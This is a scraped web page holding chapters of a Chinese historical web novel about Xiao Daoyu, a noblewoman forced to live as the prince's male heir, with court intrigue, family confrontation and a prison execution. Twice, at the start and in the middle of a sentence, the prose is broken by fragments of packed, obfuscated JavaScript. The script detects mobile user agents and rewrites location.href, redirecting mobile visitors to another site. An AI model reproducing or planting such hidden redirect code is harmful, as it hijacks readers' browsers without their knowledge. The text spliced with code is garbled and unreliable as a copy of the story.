l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996003|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着祖父出了伯府,没有上轿,而是沿着荷花巷慢慢走。 暮色渐起,巷子里点起了灯笼,暖黄的光晕染开一片朦胧。丝竹声从各家青楼妓馆飘出来,夹杂着男女调笑,与白日寿宴的喧哗并无二致。 走到街口,杨明远停下脚步。 墙角那些饥民已经不在了,只留下几片破烂的草席,和一堆灰烬——那是他们取暖烧的。 “明远,”杨廷鹤拍拍孙子的肩,“别想了。萧道煜那个人……不是你能招惹的。” “祖父,”杨明远声音低哑,“他说得不对吗?” 杨廷鹤沉默良久,叹道:“对,也不对。这世道,从来就是这样。我们杨家,能洁身自好已是不易,要想改变……太难。” “可总得有人去做。”杨明远看着祖父,“就像祖父当年,明知会得罪权贵,还是上了那道整顿盐政的折子。” 杨廷鹤看着孙子,眼中泛起复杂的情绪。有欣慰,有担忧,更多的是心疼。这孩子太像年轻时的自己,满腔热血,一腔赤诚,却不知这朝堂的水有多深,多浑。 “明远,”他缓缓道,“你要记住,想做清流,就不能只清不谈。萧道煜今日所为,看似痛快,实则树敌无数。他那北镇抚司镇抚使的位置,多少人盯着?今日他羞辱永安伯府,明日就可能有人弹劾他跋扈专权。这朝堂之上,不是谁有道理谁就能赢的。” 杨明远低下头,看着自己的影子在青石板上拉得很长。 他知道祖父说得对。可心里那团火,却怎么也熄不灭。 他想起萧道煜那双琥珀金色的眼睛,冷冽,讥诮,却又好像藏着别的什么——是痛苦?是挣扎?还是和他一样的,对这个世道的无力与愤怒? “祖父,”他忽然问,“萧世子……是个怎样的人?” 杨廷鹤一怔,摇头:“看不透。有人说他酷烈,有人说他荒唐,也有人说……他其实最清醒。但无论如何,离他远些。杨家经不起风浪了。” 杨明远没再说话。 祖孙俩默默走着,灯笼的光将他们的影子拉长又缩短。巷子深处传来歌女的唱词,咿咿呀呀,唱的是前朝旧事: “眼看他起朱楼,眼看他宴宾客,眼看他楼塌了……” 杨明远回头,望向伯府方向。那一片灯火通明,在暮色里像一座华丽的囚笼。 他忽然想,萧道煜今日撕开的那道口子,会不会有一天,真的让这楼塌了? 陈显薇回到静蕤轩时,天已全黑。 周姨娘在灯下做针线,见她回来,连忙起身:“怎么这么晚?可用过饭了?” “在席上吃了些。”陈显薇脱下外裳,递给翠儿。她其实没吃几口,那场闹剧之后,谁还有胃口? 周姨娘打量女儿神色,小心翼翼问:“听说……今日出了事?” 陈显薇点点头,在母亲身边坐下,将寿宴上的事细细说了。说到萧道煜摔盘子时,她眼中泛起奇异的光彩。 周姨娘听完,久久不语。 “姨娘,”陈显薇轻声问,“您说,萧世子那样做,是对还是错?” 周姨娘放下针线,握住女儿的手。那是一双养尊处优的手,细腻柔滑,可掌心却有薄茧——那是常年做针线留下的。 “薇儿,”她声音很轻,“在这深宅大院里,没有对错,只有利害。萧世子今日所为,痛快是痛快,可也把永安伯府,把满堂宾客,都得罪透了。” “可他说的是实话。”陈显薇难得地反驳。 “实话最伤人。”周姨娘苦笑,“这世道,谁不知道朱门酒肉臭?可知道了又能怎样?该吃还得吃,该喝还得喝。你不吃,别人说你假清高;你吃了,心里又过不去。所以最好装不知道,装看不见。” 她看着女儿清澈的眼睛,心里一阵酸楚。这孩子太单纯,还不知道这世道的残酷。 “薇儿,”她压低声音,“往后若是再见到萧世子,离远些。那样的人……太危险。” 陈显薇垂下眼帘,没应声。 危险吗? 可她觉得,那个人身上,有种她从未见过的、鲜活的东西。不像这府里的人,个个戴着面具,说着言不由衷的话,做着身不由己的事。 萧道煜是撕开面具的人。 哪怕撕得鲜血淋漓。 此刻的北镇抚司值房,烛火通明。 萧道煜坐在书案后,手里把玩着一枚铜钱。那是今日从荷花巷口一个饥民手里拿的——那妇人用这枚铜钱,想跟路人换半个馒头,没人理她。 铜钱很旧,边缘磨得光滑,字迹模糊不清。 门外传来脚步声,侍卫长萨林走进来,高大的身影几乎堵住房门。他今日未着甲,只穿一身玄色劲装,暗金色短发在烛光下泛着冷硬的光泽。 “世子,”他声音低沉,“永安伯府那边,已经散了。” “嗯。”萧道煜没抬头。 萨林站了片刻,又道:“杨廷鹤带着孙子杨明远,在荷花巷口站了很久。” 萧道煜手顿了顿,将铜钱握进掌心。铜钱的棱角硌着皮肉,微微的痛。 “杨明远……”她念着这个名字,唇角勾起一丝讥诮的弧度,“清流之后,温润如玉——呵。” 萨林看着主子苍白的侧脸,烛光在那张昳丽的面容上跳跃,投下深深浅浅的阴影。他知道世子今日是故意的,故意去砸场子,故意说那些话。 为什么? 因为看不惯?因为愤怒?还是因为……别的什么? “萨林。”萧道煜忽然开口。 “卑职在。” “你说,”萧道煜抬起眼,琥珀金色的瞳孔在烛光里似熔金流动,“我这身绯袍,值多少银子?” 萨林一怔。 “够多少饥民吃多久?”萧道煜又问,声音轻得像自语,“够那个婴儿……活到几岁?” 萨林不知如何回答。 萧道煜却笑了,笑得肩膀微颤,笑得咳嗽起来。她用手捂住嘴,指缝间渗出暗红的血丝。 “世子!”萨林上前一步。 “没事。”萧道煜摆摆手,用手帕擦去血迹,那方素白帕子上顿时洇开一朵红梅,“老毛病了。” 她靠在椅背上,闭上眼。烛火跳动,在她脸上投下摇曳的光影。那张脸美得惊心动魄,却也苍白得令人心悸。 “有时候我想,”萧道煜睁开眼,眼中一片空茫,“如果我不是‘世子’,会不会好过些?至少……不用看着满桌珍馐,却想起门外饿死的人。” 萨林单膝跪地,声音斩钉截铁:“世子就是世子。无论您是谁,萨林誓死相随。” “起来吧。”他说,声音里带着疲惫,“我累了。” 萨林起身,退出值房,轻轻带上门。 烛火跳动着,将萧道煜的身影投在墙上,拉得很长,很孤独。 她拿起那枚铜钱,对着烛光看。铜钱中心的方孔,像一只眼睛,冷冷地看着这世间的一切。 朱门,寒门。 盛宴,饥荒。 世子,玉娘。 都是戏。 只是这戏太真,真到让人忘了是在演戏。 萧道煜将铜钱握紧,棱角深深陷入掌心。 痛,才能清醒。 3. 第 3 章 忠顺王府的夜,在季春时节,依然来得早。 酉时刚过,暮色便沉沉地压下来,将那些飞檐翘角、雕梁画栋都笼在一片朦胧的春霭里。府内处处掌灯,暖黄的光从一扇扇雕花窗棂透出来,投在湿润的青石路上,碎成一地斑驳的光晕。 缀锦轩是世子萧道煜的居所,在王府东南角,是个三进的院落。院中几株老梨树花期已近尾声,雪白的花瓣在夜风里簌簌飘落,阶前檐下,铺了一层淡淡的香雪,在渐浓的夜色中显得寂寥。 正房里灯火通明,却静得可怕。 萧道煜坐在紫檀木书案后,手里握着一卷《盐铁论》,目光却落在案头那盏琉璃灯上。灯芯噼啪爆了个灯花,火光跳跃,映得她脸上光影明灭。 她今日从永安伯府回来,便觉胸口发闷,腹中那处旧疾隐隐作痛。太医斐兰度开的药就放在手边,黑褐色的药汁早已凉透,面上凝了一层薄薄的膜。 “世子,”门外传来侍女的声音,“王妃来了。” 萧道煜眼皮都没抬:“请。” 门开了,一股淡淡的兰麝香气先飘进来,紧接着是绣鞋踏过地砖的轻响。忠顺王妃李氏穿着一身深青色缠枝莲纹褙子,外罩一件杏色薄绸披风,发髻梳得一丝不苟,只簪着一支赤金点翠凤钗,通身上下透着不容置疑的威仪。 她身后跟着两个嬷嬷,皆垂手肃立,眼观鼻鼻观心。 “你们都退下。”李氏声音平静。 嬷嬷们悄无声息地退出去,带上了门。 屋里只剩母子二人。 烛火跳动,将两个人的影子投在墙上,一个坐着,一个站着,隔着三尺距离,却像是隔了千山万水。 “今日去永安伯府了?”李氏开口,声音里听不出情绪。 “是。” “听说你当众摔了盘子,说了些不该说的话。” 萧道煜终于抬起头,琥珀金色的眼睛在烛光里显得格外冷冽:“母亲觉得,哪些话不该说?” 李氏缓步走到书案前,目光扫过那碗凉透的药:“说朱门酒肉臭,说百姓饿肚子——这些都是实话,可实话不该从你嘴里说出来。” “为什么?”萧道煜唇角勾起一丝讥诮的弧度,“因为我是‘世子’?因为我要维护这身锦衣玉食的体面?” “因为你是忠顺王世子!”李氏声音陡然转厉,“因为你的一言一行,都代表着王府!你今日痛快了,可知道明日会有多少弹劾的折子递到御前?多少人等着抓王府的把柄?” 萧道煜慢慢站起身。她身形单薄,绯色常服穿在身上有些空荡,腰肢细得不盈一握,可站直了,却自有一股压人的气势。 “母亲,”她一字一顿,“我坐在北镇抚司的位子上,每日看的折子,抓的把柄,比您想象的要多得多。朱门酒肉臭不是秘密,路有冻死骨也不是新闻。满朝文武谁不知道?可谁又敢说?” 她往前走了一步,逼近母亲:“我敢说,是因为我不在乎。不在乎那些弹劾,不在乎那些非议,甚至不在乎这世子的位置。” 李氏脸色一白,手指攥紧了披风边缘:“你胡说什么!” “我没胡说。”萧道煜笑了,笑得苍凉,“母亲,您当年把我扮作男儿,让我吃那些药,束胸缠腰,是为了什么?是为了让我当世子,当王爷,光耀门楣,延续香火——是不是?” 她顿了顿,声音低下来:“可您问过我吗?问过我想不想当这个世子?想不想穿这身男装?想不想每日对着镜子,看这张不男不女的脸?” “放肆!”李氏扬手就要打。 萧道煜不躲不闪,只是看着她。那双琥珀金色的眼睛里,没有愤怒,没有委屈,只有一片深不见底的疲惫。 手掌停在半空,终究没有落下。 李氏的手在发抖。她看着女儿这张脸——这张继承了父母所有优点,美得惊心动魄,却也苍白得令人心悸的脸。二十年前那个春雨之夜,她抱着刚出生的女儿,看着窗外绵绵雨丝,做出那个改变两个人命运的决定时,手也是这么抖的。 “道煜……”她声音软下来,带着哭腔,“娘是为你好……这世道,女子太难了……你若是个女儿身,在这王府里,只会比现在更难……” “更难?”萧道煜轻笑,“母亲,您知道我现在每日吃什么药吗?太医开的‘阳关三叠’,说是固本培元,实则是虎狼之药,以透支寿数为代价,压制女子特征。还有束胸的帛带,勒得我喘不过气,夜里常常痛醒。” 她解开衣领,露出脖颈下一片肌肤——那里有一道深红色的勒痕,新旧交错,触目惊心。 “这就是您说的‘好’?”她声音发颤,“让我像个怪物一样活着,男不男女不女,连自己是谁都不知道——这就是您为我选的路?” 李氏踉跄后退,扶住桌沿才站稳。她看着女儿颈上的伤痕,眼泪终于滚下来:“我……我不知道……那药……那药怎么会……” “您不知道的事多了。”萧道煜系好衣领,转身背对母亲,“您不知道我十四岁初次月事来时,吓得以为自己要死了,却不敢告诉任何人,只能偷偷用布条垫着,血浸透了裤子,躲在房里哭。您不知道我每次去北镇抚司,那些犯人看我的眼神,像看一个怪物。您更不知道,我每晚做梦,都梦见自己穿着女装,在阳光下走路——可一醒来,还是这身男袍,这个身份。” 她闭上眼,声音轻得像叹息:“母亲,您杀了我两次。第一次是出生时,您让我成了‘世子’。第二次是现在,您让我连恨您,都恨不起来。” 屋里死寂。 只有烛火噼啪作响,和窗外渐渐沥沥的春雨声。 李氏站在原地,看着女儿单薄的背影。那个曾经在她怀里咿呀学语的小女孩,什么时候长成了这样?这样孤独,这样破碎,这样……恨她。 不,不是恨。 是比恨更可怕的东西——是认命。 “道煜……”她伸出手,想碰碰女儿的肩,却在半途停住。 “母亲请回吧。”萧道煜没有回头,“药我会喝,世子我会继续当。您放心,这出戏,我会演到最后。” 李氏的手慢慢垂下。她张了张嘴,想说什么,却一个字也说不出来。许久,她转身,一步一步走向门口。脚步踉跄,像个一夜之间老去十岁的妇人。 门开了又关。 雨声大了些,敲在窗棂上,滴滴答答,像是谁在哭。 萧道煜依然站着,背挺得笔直。直到确认母亲走远了,她才猛地弯下腰,剧烈地咳嗽起来。她用手捂住嘴,咳得撕心裂肺,指缝间渗出暗红的血丝。 “世子!”萨林从暗处闪出,扶住她。 “没事……”萧道煜摆摆手,用手帕擦去血迹,“老毛病了。” 萨林看着她苍白的脸,绿眸里闪过一丝痛楚。他想说什么,却终究只是沉默地递上一杯温水。 萧道煜接过,慢慢喝了一口。温水润过喉咙,缓解了些许灼痛。 “萨林,”她忽然问,“如果你是我,会怎么做?” 萨林单膝跪地:“卑职永远是世子的刀。世子要臣杀谁,臣就杀谁。世子要臣护谁,臣就护谁。” “起来吧。”萧道煜苦笑。 她走到窗前,推开窗。夜风裹着温润的雨丝和泥土的气息吹进来,隐约还能闻到远处晚开的海棠那若有若无的甜香。远处,王府的主院澄观斋还亮着灯——那是父亲忠顺王萧善钧的书房。 她看着那点灯火,眼中闪过复杂的神色。 母亲今夜会去找父亲吗? 会说出那个秘密吗? 还是像过去的二十年一样,继续守着这个谎言,直到所有人都烂在这座华丽的坟墓里? 雨越下越大,绵密的春雨打在庭院新绿的叶上,沙沙作响。 澄观斋里,灯火通明。 忠顺王萧善钧坐在紫檀木太师椅上,手里把玩着一枚祖母绿扳指。他年近五十,鬓角已见霜色,但保养得宜,面容依然俊朗,尤其一双桃花眼,与萧道煜如出一辙,只是眼神里多了几分慵懒与算计。 书案上摊着一幅地图,标注着北疆各处的兵力部署。窗外雨声潺潺,他听得有些心烦,正要唤人添茶,门外传来急促的脚步声。 “王爷,”管事的声音在门外响起,“王妃求见。” 萧善钧眉头微蹙。这么晚了,李氏来做什么? “让她进来。” 门开了,李氏几乎是冲进来的。她没打伞,头发被雨淋湿了,几缕贴在额前,显得有些狼狈。身上的薄绸披风也湿透了,紧紧贴在身上。 “王爷……”她开口,声音发颤。 萧善钧摆摆手,示意管事退下。门关上后,他才淡淡问:“何事如此慌张?” 李氏扑通一声跪在地上。 这个动作让萧善钧一怔。李氏是正妃,是梅州李氏的嫡女,向来端庄持重,从未有过这般失态。 “王爷,”李氏抬起头,脸上泪痕交错,“妾身……妾身有罪。” “罪?”萧善钧放下扳指,身子微微前倾,“何罪?” 李氏嘴唇哆嗦着,几次欲言又止。她看着丈夫这张脸——这张她看了二十多年的脸,俊美,威严,却永远隔着一层冰。他们的婚姻是政治联姻,相敬如“冰”了二十年,她从未在他面前真正放松过。 可今夜,她撑不住了。 那个秘密太重了,重得她快被压垮了。 “王爷可还记得,”她声音低得像耳语,“二十年前,妾身生产那夜……” 萧善钧眼神一凝。 他当然记得。那夜也是这样的春雨,绵绵不绝。他守在产房外,听着里头李氏的惨叫,心中并无多少波澜——这个孩子于他而言,不过是延续香火的工具,是巩固权力的棋子。 后来稳婆抱出婴儿,说是世子,他看了一眼,确实是个带把的。至于后来那些关于世子男生女相的传言,他并未在意。男孩女相是有福之相,他一直这么认为。 “那夜……”李氏闭上眼,泪水滚滚而下,“妾身生的……是个女儿。” 书房里静得可怕。 只有雨声,敲在琉璃瓦上,敲在青石板上,敲在两个人的心上。 许久,萧善钧缓缓站起身。他走到李氏面前,居高临下地看着她,声音平静得令人发寒:“你再说一遍。” “是个女儿……”李氏伏在地上,浑身发抖,“妾身怕……怕无子被休,怕牵连母族……所以……所以让稳婆做了手脚,对外说是世子……” “混账!” 一只茶盏砸在地上,碎瓷四溅,热茶泼了李氏一身。她不敢躲,只是瑟瑟发抖。 萧善钧胸膛剧烈起伏,盯着地上这个同床异梦二十年的女人,第一次有了杀意。他萧善钧,忠顺亲王,太上皇最宠爱的儿子,竟被一个女人骗了二十年!他的“世子”,他寄予厚望的继承人,竟是个女子! 荒唐! 可笑! “你好大的胆子!”他一脚踹在李氏肩上,将她踹倒在地,“欺君之罪,是要满门抄斩的!你知不知道!” 李氏爬起来,重新跪好,额头抵在地上:“妾身知道……妾身该死……可王爷,道煜她……她这些年在北镇抚司,为王爷立了多少功劳?她比男子更出色,更狠厉,更懂得权谋……王爷,就算她是女子,也……” “也什么?”萧善钧冷笑,“也能当世子?也能继承王位?也能在这男尊女卑的世道里,稳坐江山?” 他转身,背对着李氏,声音像淬了冰:“李氏,你听好了。这个秘密,你给我烂在肚子里。道煜必须是世子,只能是世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996004|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。若有一日泄露出去,不仅你要死,你梅州李氏全族,一个都活不了。” 李氏瘫坐在地,面如死灰。 她早知道会是这个结果。丈夫不会认错,不会回头,只会将错就错,继续这出荒唐的戏。 “那……那道煜呢?”她颤声问,“她吃那些药,束胸缠腰,身子已经……” “那是她的命。”萧善钧打断她,语气冷酷,“从你把她扮作男儿那刻起,这就是她的命。她得继续演下去,演到死为止。” 他走到窗边,看着外面沉沉的春夜,雨幕如帘。许久,他低声说:“明日我会请太医给她好好瞧瞧,开些调理的药。北镇抚司那边……她也该收收心了。一个女子,整日打打杀杀,成何体统。” 这话说得轻描淡写,却让李氏浑身发冷。 她忽然明白了——丈夫从未把道煜当女儿,甚至从未当人。那只是个工具,一把好用的刀。如今刀快要断了,他不是心疼,而是在想怎么换一把。 “王爷……”她还想说什么。 “退下吧。”萧善钧摆摆手,“今夜的话,我就当没听过。你最好也忘了。” 李氏慢慢站起身,双腿发软,几乎站不稳。她看了丈夫的背影一眼——那个背影挺拔,威严,却冰冷得没有一丝温度。 她转身,踉跄着走出书房。 雨还在下,淅淅沥沥,仿佛永无止境。 北镇抚司的诏狱,在地下。 顺着石阶往下走,越走越冷,越走越暗。墙壁上插着火把,跳跃的火光将人影投在湿漉漉的石壁上,扭曲变形,像一个个鬼影。 空气中弥漫着血腥味、霉味和一种难以形容的腐臭。深处传来隐约的呻吟,像野兽垂死的呜咽。 萧道煜走在最前面,绯色官袍在昏黄火光里泛着暗红的光。她脸色苍白,唇色浅淡,但脊背挺得笔直,每一步都踏得稳当。 萨林跟在她身后半步,手按在腰间弯刀刀柄上,绿眸警惕地扫视四周。再往后是几个黑鳞卫,铁甲铿锵,脚步声在甬道里回荡。 走到最深处一间刑室,萧道煜停下脚步。 刑室不大,四面石墙,顶上吊着几根铁链。正中一个木架上绑着个人,衣衫破烂,浑身血污,低垂着头,已看不出原本面貌。 听见脚步声,那人缓缓抬起头。是个中年男子,脸颊凹陷,眼窝深陷,但眼中还有一丝未灭的光。 “世子爷……”他嘶声开口,声音沙哑得像破风箱。 萧道煜在刑室中央的椅子上坐下,萨林立刻递上一杯热茶。她接过,并不喝,只是暖着手。 “张千帆,”她开口,声音清冷,“扬州漕帮三当家,专走私盐。三月廿七,你在黑水渡劫了一船官盐,杀了七个押运官兵——是也不是?” 张千帆咧嘴笑了,露出染血的牙齿:“是又如何?不是又如何?你们这些当官的,哪个不贪?我劫的是官盐,可那些盐,本就是你们从百姓嘴里抠出来的!” 萧道煜神色不变,只轻轻吹了吹茶汤上的浮沫:“说得不错。可你杀人了。” “他们该杀!”张千帆嘶吼,“那些官兵,哪个手上没沾百姓的血?去年扬州大水,朝廷拨了十万两赈灾银,到百姓手里剩多少?三千两!剩下的哪去了?被你们这些狗官贪了!” 他越说越激动,挣扎着,铁链哗啦作响:“我张千帆是劫了盐,可那些盐,我一半卖了换钱,一半分给了穷苦百姓!我问心无愧!” 刑室里一片死寂。 只有火把燃烧的噼啪声,和张千帆粗重的喘息。 许久,萧道煜放下茶杯,站起身,走到张千帆面前。她个子不矮,但比起这个漕帮汉子,还是显得单薄。可当她抬眼看他时,那双琥珀金色的眼睛里透出的威压,竟让张千帆下意识地瑟缩了一下。 “张千帆,”她缓缓开口,“你说得对,那些官该杀,该贪的银子该追。可这不是你杀官兵、劫官盐的理由。” 她顿了顿,声音更冷:“你可知,那七个官兵里,有一个叫陈二狗的,家里有个瞎眼的老娘,还有个三岁的女儿?他死了,那对祖孙靠什么活?你分给百姓的盐,可曾分给她们?” 张千帆怔住。 “你还可知,”萧道煜继续说,“你劫的那船盐,是扬州盐课司的税银押运。盐课司收不上税,朝廷就没钱发军饷。北疆正在打仗,将士们饿着肚子守边关——这些,你可曾想过?” 张千帆嘴唇哆嗦,说不出话来。 萧道煜后退一步,看着他,眼中闪过一丝复杂的情绪——是怜悯?是讥诮?还是别的什么? “张千帆,你不是恶人,”她轻声道,“可你做了恶事。这世道就是这样,好人做了恶事,一样要受罚。” 她转身,对萨林说:“给他个痛快。” 萨林点头,拔刀。 这世道,人人都在吃人。 她也一样。 走出诏狱,天已蒙蒙亮。雨停了,东方泛起鱼肚白,将云层染成淡淡的胭脂色。空气中弥漫着雨后泥土与新生草木的清新气息,诏狱外砖缝里,几株嫩绿的野草正奋力探出头。 萨林跟在她身后,低声道:“世子,长春宫那边……” “我知道。”萧道煜打断他,抬头看着渐渐亮起来的天,几只早起的燕子剪过微明的天际,“萨林,你说,这天什么时候会亮透?” 萨林不知如何回答。 萧道煜也没指望他回答。她只是看着天,看了很久,然后轻声说:“回府吧。” 绯色官袍在晨光里渐行渐远,单薄的身影被拉得很长,像一道孤独的剪影。 远处传来钟声,悠长,沉重,一声一声,敲在这座皇城的季春清晨里。 新的一天开始了。 可有些事,永远不会结束。 4. 第 4 章 却说这日春和景明,镇国公府后园“栖鹤苑”内,早是锦帷绣幕、香车宝马。那园子本是前朝亲王别业,引玉泉活水曲绕成溪,沿岸遍植天下名品牡丹。正值谷雨前后,千株万朵压枝低,姚黄如缀金,魏紫似凝霞,赵粉胜雪,豆绿含烟,更有那墨洒金、青龙卧墨池等异种,在融融春光里开得恣意烂漫。 苑中有一方碧水,唤作“照影池”,池水清澈如碧琉璃,倒映着岸边的垂丝海棠与远处叠石假山。池畔叠石成山,山石嶙峋,苔痕斑驳,皆是从太湖运来的奇石,经了百年风雨,越发显得古朴苍润。山巅筑一亭,飞檐翘角,匾额题着“唳月”二字,取“鹤唳月明”之雅意,倒是与这“栖鹤”之名相映成趣。亭旁植了几株老梅,此时花期已过,唯见青碧枝叶在春风里摇曳,洒下斑驳日影。 巳时三刻,仪门处忽起一阵低微骚动。但见两列玄甲侍卫鱼贯而入,分列甬道两侧,腰间弯刀在日头下泛着冷铁幽光。这些侍卫个个身形魁梧,面色冷峻,行走间步伐整齐划一,靴底踏在青石板上发出沉闷声响,震得道旁落花簌簌。园中原本喧哗笑语霎时静了几分,宾客皆引颈望去,交头接耳间,眼中神色各异——有敬畏,有好奇,亦有藏得极深的忌惮与厌恶。 一乘青帏小轿缓缓停稳。那轿子看似朴素,实是紫檀木雕花,轿顶四角悬着赤金铃铛,风过时却寂然无声,显是里头塞了棉絮。轿帘是上好的云锦,织着暗纹的缠枝莲,在日光下流转着细腻光泽。随行的两个小丫鬟上前,一个打起轿帘,一个俯身摆放脚踏——那脚踏竟是整块白玉雕成,温润生光。 轿帘掀起,先探出一只纤纤素手,腕间羊脂玉镯温润如水。那手生得极美,五指纤长如葱管,指甲染着淡粉蔻丹,在日光下泛着珍珠般光泽。接着,一身着胭脂红缕金百蝶穿花云锦裙的女子娉婷步出,云鬓高绾,斜插一支点翠衔珠步摇,那步摇做工极精,翠鸟羽毛在光下泛着幽幽蓝绿,凤口衔着的明珠有莲子大小,随步轻颤,流光溢彩。耳坠明月珰,颈佩赤金璎珞圈,行动时环佩轻响,恰似春溪碎玉。 正是盛晚湘。 她今日妆容极精心,远山眉黛,桃花面靥,唇点檀珠色,眼角却只用极淡的金粉勾勒,衬得那双秋水眸愈发清泠。通身风尘艳色,偏又透着一股子书卷清气——那是自幼诗书浸润出的底子,即便沦落风尘十年,也未曾磨灭干净。她立在轿前,微微垂眸,长睫在眼下投出浅浅阴影,唇边噙着一丝恰到好处的浅笑,既不过分热络,也不显得倨傲,分寸拿捏得极准。 “这便是倚红楼那位……”有人低声私语,声音压得极低,却难掩其中的好奇与暧昧。 “啧啧,难怪世子独宠,这般品貌,宫里娘娘怕也比不过。” “小声些!没见黑鳞卫都来了?那都是北镇抚司的精锐,个个手上沾过血的……” 议论声未歇,后方又是一阵马蹄轻响。但见一匹通体雪白的玉逍遥缓缓行来,那马神骏非常,浑身毛色如雪,无一根杂毛,四蹄踏地轻捷无声,显是经过严格驯养。马上之人,绯色官袍外罩玄色暗金螭纹披风,墨发以白玉冠高束,面色却是异样的苍白,唇色淡如初樱。一双桃花眼半阖着,琥珀金瞳在阳光下流转着冰冷碎光,正是忠顺王世子、北镇抚司镇抚使萧道煜。 她今日未乘轿,反是骑马而来,身姿挺拔如竹端坐鞍上,若非那过分纤瘦的腰身与苍白面色,倒真是一位俊美无俦的翩翩王孙。只是细看之下,便能察觉她眉眼间凝着一层挥之不去的倦意,那是常年病痛与心力交瘁刻下的痕迹。 萨林紧随其后,一身玄铁鳞甲,暗金短发在日光下犹如猛兽毛鬃,幽绿双瞳鹰隞般扫视园中每一处角落。他骑的是一匹乌骓马,通体漆黑如墨,唯四蹄雪白,与主人的冷峻气质相得益彰。见盛晚湘已下轿,他翻身下马,动作干净利落,落地时竟无半点声响。快步至萧道煜马侧,单膝跪地,以肩为踏——这是极恭敬的侍主之礼,寻常侍卫绝不会做,可在他做来,却自然得仿佛本该如此。 萧道煜一手轻按他肩,利落跃下。落地时身形微晃,萨林欲扶,她却已站稳,只那披风下摆荡开一瞬,隐约露出腰间一枚蟠龙玉佩——那是先帝御赐,非亲王世子不得佩。玉佩用玄色丝绦系着,下坠明黄流苏,在绯色官袍间格外醒目。 “世子爷安好。”镇国公世子赵怀瑾早已迎上,拱手为礼,面上堆笑,眼底却藏着一丝忌惮。他是镇国公嫡长子,年约三十,生得面白微须,穿一身宝蓝织金团花袍,头戴赤金冠,通身富贵气象。只是此刻那笑容略显僵硬,眼神总不由自主往萧道煜身后那些玄甲侍卫身上瞟。 萧道煜略一颔算回礼,目光却越过他,投向满园繁花。她走得很慢,脚步虚浮,仿佛每走一步都要耗费极大心力。萨林寸步不离落后半步,那高大身形竟似一道移动的屏障,将周遭所有窥探视线隔绝在外。他的手始终按在刀柄上,指节因用力而微微发白,幽绿瞳孔在日光下收缩如针,警惕着每一丝风吹草动。 盛晚湘莲步轻移,行至萧道煜身侧略后半步,垂眸敛衽,姿态恭顺如寻常侍妾。萧道煜却忽然驻足,侧首看了她一眼,伸手虚扶:“今日不必拘礼。”声音不高,却清冽如碎玉投冰,引得近处几位女眷悄悄侧目——那声音透过春日的暖风传来,竟带着几分异样的温柔,与传闻中“玉面罗刹”的冷酷形象大相径庭。 盛晚湘面上却噙着温软笑意,顺势起身,指尖似不经意拂过萧道煜手背——触手冰凉,如握寒玉。她心中微颤,面上却不露分毫,只柔声道:“谢世子爷体恤。” 一行人往临水而建的主宴水榭行去。沿途宾客纷纷避让,有躬身行礼的,有强颜欢笑的,亦有那等清流子弟远远侧目,面露鄙夷——鄙夷的既是萧道煜酷吏之名,亦是盛晚湘风尘出身。萧道煜一概不理,只偶尔与几位宗室长辈颔首,神色疏淡,仿佛满园喧哗都与她无关。 萨林跟在身后,眉头却越拧越紧。 他看见,那些藏在花丛后、假山旁的闺阁小姐们,竟一个个探出半张芙蓉面,目光胶着在自家世子身上。有掩口轻笑的,有以团扇半遮面偷觑的,更有胆大的,故意将手中绣帕“失手”飘落前方小径——那帕子香风细细,绣着并蒂莲,角上还缀着小小的珍珠流苏,显是精心准备。 萧道煜步履不停,抬脚踏过帕子,如踏寻常尘土。那绣帕被她靴底一碾,顿时污了,珍珠流苏滚落草丛,很快不见了踪影。丢帕的小姐脸色煞白,眼圈一红,几乎要哭出来,却被身旁丫鬟慌忙拉了回去。 萨林喉结滚动,握住刀柄的手指节发白。他想不通。世子明明是女子,病骨支离得一阵风就能吹倒,为何偏比满园那些锦衣华服的公子哥儿更招女子倾慕?就因那张脸?那身威仪?还是这京城闺秀,都瞎了眼不成? 正烦躁间,忽闻一阵娇笑。但见前方“青龙卧墨池”花丛中转出几位华服少女,为首一人身着鹅黄缕金芍药纹襦裙,头戴赤金累丝牡丹冠,正是永安伯府嫡女陈显蓉。她似是无意撞见,盈盈一礼:“显蓉见过世子爷。” 萧道煜脚步微顿,颔首:“陈小姐。” 陈显蓉抬眸,眼波流转,在萧道煜面上停了片刻,双颊飞起淡淡红晕。她身后的几位小姐亦跟着行礼,目光却黏在萧道煜脸上——那张脸实在生得太好,即便苍白病态,也难掩其昳丽风华。尤其那双琥珀金瞳,冷是冷了些,却有种摄人心魄的妖异之美。 “世子爷今日好兴致,”陈显蓉声音娇柔,带着几分世家贵女的矜持与试探,“这‘青龙卧墨池’开得正好,花冠足有海碗大,墨色花瓣缀金蕊,最是难得。世子爷可愿移步一观?” 萧道煜还未答话,身后盛晚湘忽然轻咳一声,以袖掩唇。萧道煜侧目看她,见她眼波流转,欲语还休——那眼神里藏着三分关切,七分恰到好处的醋意,演得极真。 “多谢陈小姐美意,”萧道煜转回视线,声音依旧平淡,“尚有俗务,改日再赏。”言罢径直前行,将一众闺秀晾在原地。 陈显蓉笑容僵在脸上,手中团扇捏得死紧。她身侧一位绿衣少女低声嘟囔:“神气什么……”话音未落,萨林幽绿瞳孔如刀锋般扫来,那少女顿时噤声,脸色发白,仿佛被猛兽盯上的猎物,连呼吸都忘了。 待一行人走远,花丛后窃窃私语再起: “瞧见没?世子方才看那盛姑娘的眼神……啧啧,真是宠到骨子里了。” “可不是?听说世子为了她,把整个倚红楼三楼都包下来,专供她一人居住。那些个名琴古画、珠宝首饰,流水似的往里头送。” “嘘!莫谈这些,仔细祸从口出。你没见今日黑鳞卫来了多少?那可是北镇抚司的精锐,个个能止小儿夜啼的……” 